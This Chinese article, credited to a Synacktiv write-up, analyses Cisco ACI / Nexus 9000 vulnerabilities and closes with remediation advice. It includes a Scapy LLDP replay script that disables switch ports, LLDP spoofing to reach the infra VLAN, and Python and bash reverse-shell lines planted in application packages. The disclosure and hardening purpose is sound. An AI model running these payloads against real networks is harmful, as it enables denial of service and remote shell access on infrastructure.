我们在几周内对基于Cisco ACI解决方案的SD-LAN项目进行了安全测试。下面的文章简要介绍了Cisco ACI的自动运行和初始化的一些内部机制，以及在安全评估过程中发现的漏洞，包括CVE-2021-1228和CVE-2021-1231。
每个测试都在以下版本上执行：
· 14.2的Nexus 9000交换机
· 4.2的APIC控制器
![对思科Nexus 9000交换机ACI架构多个漏洞的分析研究]( "对思科Nexus 9000交换机ACI架构多个漏洞的分析研究")
0x01 ACI 和 APIC 介绍
ACI代表以应用程序为中心的基础架构。这是思科的SDN（软件定义网络）解决方案。在收购Insieme之后，此解决方案便从Cisco诞生。它是一个策略驱动的解决方案，集成了软件和硬件。这是一种为IT创建通用的，基于策略的通用框架的简便方法，尤其是跨不同的应用程序，网络和安全域。基于策略或策略驱动的策略由一组确定操作过程的准则或规则组成。
硬件由叶式主干配置中的Cisco Nexus 9000系列交换机和应用程序策略基础架构控制器（APIC）组成。这套设备被Cisco称为Fabric。APIC在ACI结构中的每个交换机上管理和推送策略。没有配置绑定到设备，APIC充当所有策略的中央存储库，并能够根据需要部署，停用和重新部署交换机。
简而言之，ACI将网络管理员用来在X组件（交换机，路由器等）上复制的所有配置集中在一个地方。
ACI结构的拓扑如下所示：
来自cisco.com的ACI拓扑图
ACI包含以下结构：
· 思科应用策略基础架构控制器（APIC）
-连接到Leaf1或Leaf2
· 为Cisco ACI配置的Cisco Nexus 9000交换机
-不要直接连接到另一个Leaf
-连接到每个Spine
-连接到终端设备和入网LAN口
-绝对不要直接连接到其他Spine（否则LLDP和MCP将关闭）
-连接到每个Leaf
-在Spine模式下
-在Leaf模式下
可以选择将其他一些构造块添加到结构中，例如ACI Multi-Site Orchestrator或Cloud APIC。
基础架构控制器是Cisco ACI解决方案的主要架构组件。它是Cisco ACI Fabric，策略实施和运行状况监视的自动化和管理的统一点。APIC设备是集中式集群控制器，可优化性能并统一物理和虚拟环境的操作，该控制器管理和操作可扩展的多租户Cisco ACI Fabric。
APIC的主要功能包括：
· 以应用程序为中心的网络策略
· 基于数据模型的声明式供应
· 应用程序和拓扑监视和故障排除
· 第三方整合
· 第4层到第7层（L4-L7）服务
· VMware vCenter和vShield
· Microsoft Hyper-V，System Center虚拟机管理器（SCVMM）和Azure Pack
· 开放式虚拟交换机（OVS）和OpenStack
· Kubernetes，RedHat OpenShift，Docker Enterprise
· 镜像管理（spine 和 leaf）
· 思科ACI清单和配置
· 跨设备集群的分布式框架上的实现
· 关键管理对象（租户，应用程序配置文件，交换机等）的运行状况得分
· 故障，事件和性能管理
· 思科应用虚拟边缘，可以用作虚拟leaf交换机
控制器框架可与Cisco ACI实现广泛的生态系统和行业互操作性。它使Cisco ACI环境与来自众多供应商的管理，业务流程，虚拟化和L4-L7服务之间具有互操作性。
![对思科Nexus 9000交换机ACI架构多个漏洞的分析研究]( "对思科Nexus 9000交换机ACI架构多个漏洞的分析研究")
0x02 LLDP协议分析
ACI的目标之一是简化部署和配置新网络设备的任务。当将新的交换机添加到光纤网时，除了从APIC管理界面授权新设备外，管理员不需要执行任何其他操作。
它是如何运作的呢？首先，结构中的每个设备都使用LLDP协议发现彼此。缺省情况下，它们每30秒广播一次LLDP数据包。LLDP数据包由几个类型长度值（TLV）字段组成，其中包含各种信息，例如型号，序列号，固件版本，VLAN ID或节点内部IP。例如，Leaf发送的数据包如下所示：
来自像Leaf一样的Nexus交换机的LLDP数据包
无论状态如何，这些LLDP数据包都会在每个交换机的每个接口上广播。这意味着直接连接到Leaf接口的设备将接收此信息，并被告知ACI设备的存在。当新的节点或控制器（以前从未被Fabric看到）连接到Leaf或Spine接口时。发生以下步骤：
· 如果是Leaf或Spine，则APIC管理UI建议管理员将新设备添加到Fabric中。
· 管理员将新设备添加到光纤网络后，该接口便立即切换到内部VLAN。
· 交换机会将从新设备收到的每个DHCP请求中继到第一个APIC，并充当DHCP服务器，新设备将在DHCP中获得其新的主机名。
· 新的APIC将通过第一个APIC槽HTTP检索最新的固件，设备软件包和应用程序
· 新节点开始使用结构内消息传递协议（IFM）与结构进行通信
只要节点可以通过IFM与APIC交换心跳包，就认为该节点是活动的。
以下架构总结了APIC的发现过程。
APIC发现流程（https://www.ciscolive.com/c/dam/r/ciscolive/emea/docs/2015/pdf/BRKACI-2333.pdf）
新的交换机或控制器可以轻松加入结构，而无需验证其序列号或证书，因为默认情况下，结构安全模式设置为“允许”。与严格模式相反，它不会强制执行基于序列号的授权，并且如果交换机出示无效证书也不会停止操作。
严格和宽松模式之间的差异（https://www.cisco.com/c/en/us/td/docs/switches/datacenter/aci/apic/sw/1-x/aci-fundamentals/b_ACI-Fundamentals/b_ACI -Fundamentals_chapter_010011.htm l）
为此，可以在重新启动之前在APIC上发出以下命令：
apic1# config
apic1(config)# system fabric-security-mode strict
一旦在结构中包含新的交换机或APIC，它将开始通过结构间消息传递（IFM）协议进行通信。
交换矩阵内部的每个配置和策略交换都使用交换矩阵间消息传递（IFM）协议，IFM始终封装在SSL隧道内。
例如，在新APIC的第一个配置中，在APIC通过LLDP广播其存在之后，Fabric中的第一个APIC将尝试与新APIC的端口12567（使用服务svc_ifc_appliancedirectorservice）建立SSL连接。客户端和服务器都将提供由Cisco CA签名的证书链（Cisco Root CA 2048 => Cisco Manufacturing CA => APIC-SERVER）。
这两个证书都预先安装在设备上，并且结构中的每个设备都不同，因为证书CommonName包含节点序列号。具有管理员访问Cisco APIC权限的攻击者无法轻松检索这些证书的私钥，他首先需要获得root特权升级。每个设备上都有大量的IFM端口正在监听。例如，在我们的实验APIC上，发现这些端口正在监听：
$ netstat -letuna|grep 600
tcp 0 0 10.0.0.1:12471 0.0.0.0:* LISTEN 600 41721
tcp 0 0 10.0.0.1:12215 0.0.0.0:* LISTEN 600 37527
tcp 0 0 10.0.0.1:12119 0.0.0.0:* LISTEN 600 25200
tcp 0 0 10.0.0.1:13079 0.0.0.0:* LISTEN 600 42861
tcp 0 0 10.0.0.1:13175 0.0.0.0:* LISTEN 600 16327
tcp 0 0 10.0.0.1:12343 0.0.0.0:* LISTEN 600 128041
tcp 0 0 10.0.0.1:12983 0.0.0.0:* LISTEN 600 128037
tcp 0 0 10.0.0.1:12727 0.0.0.0:* LISTEN 600 41559
tcp 0 0 10.0.0.1:12951 0.0.0.0:* LISTEN 600 125031
tcp 0 0 10.0.0.1:13143 0.0.0.0:* LISTEN 600 41555
tcp 0 0 10.0.0.1:12247 0.0.0.0:* LISTEN 600 45680
tcp 0 0 10.0.0.1:12375 0.0.0.0:* LISTEN 600 906
tcp 0 0 10.0.0.1:12759 0.0.0.0:* LISTEN 600 40624
tcp 0 0 10.0.0.1:13271 0.0.0.0:* LISTEN 600 40620
tcp 0 0 10.0.0.1:12311 0.0.0.0:* LISTEN 600 38700
tcp 0 0 10.0.0.1:12472 0.0.0.0:* LISTEN 600 41722
tcp 0 0 10.0.0.1:12216 0.0.0.0:* LISTEN 600 37528
tcp 0 0 10.0.0.1:12120 0.0.0.0:* LISTEN 600 25201
tcp 0 0 10.0.0.1:13080 0.0.0.0:* LISTEN 600 42862
tcp 0 0 10.0.0.1:13176 0.0.0.0:* LISTEN 600 16328
tcp 0 0 10.0.0.1:12344 0.0.0.0:* LISTEN 600 128042
tcp 0 0 10.0.0.1:12984 0.0.0.0:* LISTEN 600 128038
tcp 0 0 10.0.0.1:12728 0.0.0.0:* LISTEN 600 41560
tcp 0 0 10.0.0.1:12952 0.0.0.0:* LISTEN 600 125032
tcp 0 0 10.0.0.1:13144 0.0.0.0:* LISTEN 600 41556
tcp 0 0 10.0.0.1:12248 0.0.0.0:* LISTEN 600 45681
tcp 0 0 10.0.0.1:12376 0.0.0.0:* LISTEN 600 907
tcp 0 0 10.0.0.1:12760 0.0.0.0:* LISTEN 600 40625
tcp 0 0 10.0.0.1:13272 0.0.0.0:* LISTEN 600 40621
tcp 0 0 10.0.0.1:12312 0.0.0.0:* LISTEN 600 38701
它们中的每一个都需要来自客户端的有效链证书来建立通信。
![对思科Nexus 9000交换机ACI架构多个漏洞的分析研究]( "对思科Nexus 9000交换机ACI架构多个漏洞的分析研究")
0x03 漏洞描述
思科ACI解决方案已经过测试，并且ERNW的两名研究人员出色的完成了工作：
发现了6个CVE漏洞 ：
https://static.ernw.de/whitepaper/ERNW_Whitepaper68_Vulnerability_Assessment_Cisco_ACI_signed.pdf
· CVE-2019-1836-符号链接路径遍历漏洞;
· CVE-2019-1803-root特权升级漏洞;
· CVE-2019-1804-默认SSH密钥 以上CVE中的这3个的组合导致通过本地SSH服务器在IPv6上的Leaf交换机上进行远程代码执行。
· CVE-2019-1890-Fabric基础结构VLAN未授权访问漏洞，将其视为Fabric的内部端口；
· CVE-2019-1901-链路层发现协议缓冲区溢出漏洞
· CVE-2019-1889-REST API特权升级漏洞
虽然这些CVE应该已经在14.1（1i）版本中修复，但我们注意到14.2（4i）版本中仍然存在Fabric Infrastructure VLAN未授权访问漏洞（CVE-2019-1890）。
![对思科Nexus 9000交换机ACI架构多个漏洞的分析研究]( "对思科Nexus 9000交换机ACI架构多个漏洞的分析研究")
0x04 端口拒绝服务漏洞（CVE-2019-1890）
Leaf应与其SFP接口上的APIC控制器进行交互，并与其QSFP接口上的其他交换机进行交互。与ACI Fabric通信的每个入站主机都将通过SFP接口传输其流量。
此外，Leaf交换机信任LLDP数据包的内容，此外，它还信任从未知设备发送的欺骗性LLDP数据包。只需监视网络大约一分钟并等待合法的LLDP数据包，即可轻松收集用于制作此数据包的强制性TLV。实际上，对于接收器和收发器，默认LLDP策略设置为ON。因此，Fabric的每个设备每30秒发送一次LLDP数据包。
如果设备与ACI Leaf的SFP接口具有直接链接，并发送TLV“ ACI节点角色”设置为1（Leaf）或2（主干）且TLV“ ACI端口模式”设置为0的LLDP数据包，端口将设置为发现状态，并且将禁用切换。发生此现象的原因在于，交换机不希望在其SFP端口上收到来自交换机的LLDP数据包。
受影响端口的Apic管理图
在LLDP数据包的TTL值中定义的时间段内，将禁用该端口。
例如，可以在Python脚本中使用Scapy库来发出数据包：
$ hexdump lldp_packet
0000000 c3d4 a1b2 0002 0004 0000 0000 0000 0000
0000010 ffff 0000 0001 0000 71b3 5ebd 80fb 0004
0000020 0159 0000 0159 0000 8001 00c2 0e00 27b8
0000030 b1eb f335 cc88 0702 b804 eb27 35b1 04f3
0000040 0708 7445 3168 322f 0631 0002 fe10 0006
0000050 4201 00d8 fe00 0005 4201 01ca 0000
000005e
$ cat replay.py
from scapy.all import *
file = sys.argv[1]
iface = sys.argv[2]
packet = rdpcap(file)
sendp(packet, iface=iface)
$ sudo python replay.py lldp_packet eth0
Sent 1 packets.
# The gateway does not respond anymore, the port shut down.
$ ping 10.10.10.1
PING 10.10.10.1 (10.10.10.1) 56(84) bytes of data.
From 10.10.10.10 icmp_seq=1 Destination Host Unreachable
From 10.10.10.10 icmp_seq=2 Destination Host Unreachable
From 10.10.10.10 icmp_seq=3 Destination Host Unreachable
这意味着与Cisco ACI Fabric中的交换机的SFP接口直接链接的所有设备都可以完全禁用其连接的端口。因此，使用同一端口的其他设备也将受到影响。
此漏洞已报告给Cisco，已注册为CVE-2021-1231，并已在版本14.2（5l）中修复。（https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apic-lldap-dos-WerV9CFj）
但是，如果任意设备在SFP接口上将TLV“ ACI节点角色”设置为0（APIC）发送LLDP数据包，会发生什么情况？
攻击前Leaf交换机端口的状态为：
LEAF_2# show interface Eth1/5 switchport
Name: Ethernet1/5
Switchport: Enabled
Switchport Monitor: not-a-span-dest
Operational Mode: trunk
Access Mode Vlan: 14 (default)
Trunking Native Mode VLAN: 14 (default)
Trunking VLANs Allowed: 13-14
并且据推测，Infra VLAN仅包含一个端口（Eth1 / 1）：
LEAF_2# show vlan id 20 extended
VLAN Name Encap Ports
---- -------------------------------- ---------------- ------------------------
20 infra:default vxlan-16777209, Eth1/1
vlan-4
LLDP欺骗之前的状态
在连接到Eth1 / 5的设备上，我们使用与CVE-2019-1890相同的漏洞利用（https://github.com/f-block/BlackHat-USA-2019），减去每个参数，但TLV的“ ACI节点角色”设置为0（APIC）和ACI红外VLAN设置为4 ：
$ sudo ./lldp_spoof.py eth0 4
[*] Packet LLDP sent!
攻击后的Leaf端口切换到基础模式和内部VLAN：
LEAF_2# show interface Eth1/5 switchport
Name: Ethernet1/5
Switchport: Enabled
Switchport Monitor: not-a-span-dest
Operational Mode: trunk
Access Mode Vlan: unknown (default)
Trunking Native Mode VLAN: unknown (default)
Trunking VLANs Allowed: 20
LEAF_2# show vlan id 20 extended
VLAN Name Encap Ports
---- -------------------------------- ---------------- ------------------------
20 infra:default vxlan-16777209, Eth1/1, Eth1/5
vlan-4
LLDP欺骗后的状态
配置正确的802.1Q标签后，未知设备即可访问Fabric内部VLAN：
$ sudo ip link add link eth0 name eth0.4 type vlan id 4 $ sudo ifconfig eth0.4 10.0.0.4/8 up $ sudo ip r a default dev eth0.4 $ ping LEAF PING 10.0.104.64 (10.0.104.64) 56(84) bytes of data. 64 bytes from 10.0.104.64: icmp_seq=1 ttl=64 time=1.30 ms
似乎CVE-2019-1890没有得到正确修复，或者在思科发布的第一个补丁中没有正确分析此漏洞的根本原因。
此漏洞已报告给Cisco，已注册为CVE-2021-1228，并已在版本14.2（5l）中修复。（https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-n9kaci-unauth-access-5PWzDx2w）
攻击者使任意设备加入内部VLAN后该怎么办？
首先，除了要连接的Leaf之外，他将无法到达Fabric内部的任何设备。由于ACI不会将我们的设备视为结构的一部分，因此尚未在任何其他交换机上配置路由。
从那里，他可以使用UDP VXLAN数据包与Leaf上暴露的隧道端点（TEP）进行交互，以将任何数据包发送到连接到光纤网的任何外部设备。ERNW白皮书中已经描述了这种攻击。但是，必须强制使用8位数字（VXLAN网络标识符），并且通信将仅是单向的，因为另一端不存在任何路由。
此外，还公开了在Leaf上运行的几个服务。但是，它们每个都需要使用由Cisco CA签名的证书或有效的管理员凭据进行身份验证。
$ nmap -sV -p- 10.0.104.64 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 17:15 CEST Nmap scan report for 10.0.104.64 Host is up (0.00020s latency). Not shown: 65513 closed ports PORT STATE SERVICE 22/tcp open ssh syn-ack OpenSSH 7.8 (protocol 2.0) 443/tcp open ssl/https syn-ack Cisco APIC 7777/tcp open cbt? syn-ack 8000/tcp open http-alt? syn-ack 8002/tcp open ssl/teradataordbms? syn-ack 8009/tcp open ssl/ajp13? syn-ack 12119/tcp open ssl/unknown syn-ack 12120/tcp open ssl/unknown syn-ack 12151/tcp open ssl/unknown syn-ack 12152/tcp open ssl/unknown syn-ack 12183/tcp open ssl/unknown syn-ack 12184/tcp open ssl/unknown syn-ack 12407/tcp open ssl/unknown syn-ack 12408/tcp open ssl/unknown syn-ack 12439/tcp open ssl/unknown syn-ack 12440/tcp open ssl/unknown syn-ack 12887/tcp open ssl/unknown syn-ack 12888/tcp open ssl/unknown syn-ack 12919/tcp open ssl/unknown syn-ack 12920/tcp open ssl/unknown syn-ack 13015/tcp open ssl/unknown syn-ack 13016/tcp open ssl/unknown syn-ack Nmap done: 1 IP address (1 host up) scanned in 22.68 seconds
· 端口22是OpenSSH服务器，而端口443是对象存储，两者都需要管理员凭据。
· 端口7777是托管Rest API的Nginx，它需要一个有效的管理员cookie。
· 端口8000到8009需要Cisco CA签名的客户端证书。
· 从12119到13016的较高端口用于结构间消息传递通信。
攻击不会立即使Fabric处于危险之中，但是会大大扩大潜在的攻击面。
由于这些原因，一旦发现Fabric设备，我们建议要么升级到版本14.2（5l），要么在Leaf Access Port策略中将每个Leaf的LLDP策略设置为“off”。这样，每个交换机将停止向每个接口广播LLDP数据包，并且来自未知设备的LLDP数据包将被简单地忽略。
![对思科Nexus 9000交换机ACI架构多个漏洞的分析研究]( "对思科Nexus 9000交换机ACI架构多个漏洞的分析研究")
0x05 信息泄露漏洞（CVE-2019-1889）
白皮书中描述的CVE-2019-1889已由Cisco在先前的软件版本中正确修补。目录遍历实际上是不可利用的，但是签名问题仍然很重要。
可以在APIC上安装应用程序或服务引擎（第4-7层设备）。两种功能都可以通过APIC Web界面安装，并且本质上都是包含XML，HTML，Python等的ZIP文件…
可以在https://dcappcenter.cisco.com/上找到应用程序。
例如，可以下载Policy Viewer应用程序（https://dcappcenter.cisco.com/policy-viewer.html）并在app.html文件中添加存储的XSS：
$ cat Cisco_PolicyViewer/UIAssets/app.html ACI Policy Viewer[...]
部署结果应用程序不会触发错误：
应用已成功安装，然后，受害者一旦访问应用程序UI，
便会执行以下代码：
弹出警报窗口，表示已触发XSS。
可以使用设备包装进行相同类型的测试。例如，使用asa-device-pkg-1.3.12.3.zip软件包。我们将以下反向shell存储在Python代码中：
import socket,subprocess,os import pty s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.0.1",12345)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh")
同样，在部署程序包时没有看到错误。部署后，将触发插入的代码，我们将获得一个反向shell：
admin@apic1:~> socat - TCP-LISTEN:12345 ls bin dev etc install lib lib64 logs pipe sbin tmp usr venv id uid=99(nobody) gid=99(nobody) groups=99(nobody)
此外，其中一些部署了Docker容器。例如应用程序InfobloxSync：https : //dcappcenter.cisco.com/infobloxsync.html
如果我们检查应用程序的内容：
$ ls */* Cisco_InfobloxSync/app.json Cisco_InfobloxSync/Image: aci_appcenter_docker_image_v2.tgz Cisco_InfobloxSync/Media: License Readme Cisco_InfobloxSync/Service: app.py Infoblox_DB_sync_14.py InfobloxTools.pyc schema.py settings.py start.sh validateConnection02.pyc Infoblox_DB_sync_14 InfobloxTools.py my_db.sqlite schema.pyc settings.pyc validateConnection02.py Cisco_InfobloxSync/UIAssets: app.html app-start.html asset-manifest.json favicon.ico images InfobloxLogo.png service-worker.js static
有一个aci_appcenter_docker_image_v2.tgz文件，其中包含：
$ ls * b87debb6eaf180f989ed24b2dcfe9ef71bf7007d3853cf96c85477b4da7fe701.json manifest.json repositories 051e281057ec3ce691d8ac90d4194b8c2530ec1867b674d3e3a303affc7f7dc5: json layer.tar VERSION 38e1eee9f579b0781680a92492906eb1b45455dcee38c4cf8439c2702d60f35a: json layer.tar VERSION 3f978a74fbe136262600e4b78bdd1629c86a858166827cfd1fa9e90143ba8876: json layer.tar VERSION 701f643eefd90a50e8dcade7405e7459b146c4be8a4d0d74c991f5d7a4dda56d: json layer.tar VERSION 9d4e5244486b622df965c76c5e83a71e0a462c125ceb0683c2c712445d305b89: json layer.tar VERSION a40333597e2a57a840bc755ca08d5a51ac0ed76337dc346d4cefa1a5e1dd5eac: json layer.tar VERSION
我们使用以下行修改了应用程序的启动脚本：
/bin/bash -i >& /dev/tcp/172.17.0.1/12345 0>&1
然后，启用该应用程序，我们就获得一个root shell ，但是在一个容器中：
admin@apic1:~> socat - TCP-LISTEN:12345 bash: no job control in this shell root@bd95ab2db8c1:/# id && uname -a uid=0(root) gid=0(root) groups=0(root) Linux bd95ab2db8c1 4.14.164atom-2 #1 SMP Tue Feb 11 05:07:18 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
![对思科Nexus 9000交换机ACI架构多个漏洞的分析研究]( "对思科Nexus 9000交换机ACI架构多个漏洞的分析研究")
0x06 研究总结
Cisco ACI是一个构建良好且安全的SDN解决方案。但是通常一个复杂的系统会带来多个漏洞。有时，漏洞修补程序无法修复所有漏洞。
为了加强ACI安全性，我们建议Cisco ACI管理员执行以下操作：
· 为结构发现配置严格模式
· 在Leaf访问端口策略中将每个Leaf的LLDP策略设置为“关闭”
· 将Nexus 9k至少升级到版本14.2（5l）
· 仅下载和部署在官方Cisco应用商店中找到的应用
参考资料：
https://www.sdxcentral.com/data-center/definitions/what-is-cisco-aci/
https://i.blackhat.com/USA-19/Wednesday/us-19-Matula-APICs-Adventures-In-Wonderland.pdf
https://static.ernw.de/whitepaper/ERNW_Whitepaper68_Vulnerability_Assessment_Cisco_ACI_signed.pdf
参考及来源：https://www.synacktiv.com/en/publications/pentesting-cisco-aci-lldp-mishandling.html
本文始发于微信公众号（嘶吼专业版）：对思科Nexus 9000交换机ACI架构多个漏洞的分析研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论